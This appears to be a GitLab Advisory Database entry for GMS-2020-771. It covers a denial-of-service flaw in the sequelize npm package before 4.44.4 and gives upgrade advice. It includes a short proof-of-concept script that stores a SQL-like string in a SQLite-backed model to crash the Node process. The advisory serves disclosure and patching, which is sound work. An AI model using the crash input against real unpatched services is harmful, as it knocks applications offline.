Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. sequelize
  4. ›
  5. GMS-2020-771

GMS-2020-771: Denial of Service in sequelize

September 3, 2020

Versions of sequelize prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a TypeError exception for the results variable. The results value may be undefined and trigger the error on a .map call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.

The following proof-of-concept crashes the Node process:

const Sequelize = require('sequelize');

const sequelize = new Sequelize({
	dialect: 'sqlite',
	storage: 'database.sqlite'
});

const TypeError = sequelize.define('TypeError', {
	name: Sequelize.STRING,
});

TypeError.sync({force: true}).then(() => {
	return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});

Recommendation

Upgrade to version 4.44.4 or later.

References

  • github.com/advisories/GHSA-fw4p-36j9-rrj3
  • github.com/sequelize/sequelize/pull/11877
  • www.npmjs.com/advisories/1142

Code Behaviors & Features

Detect and mitigate GMS-2020-771 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 4.44.4

Fixed versions

  • 4.44.4

Solution

Upgrade to version 4.44.4 or above.

Source file

npm/sequelize/GMS-2020-771.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:15:45 +0000.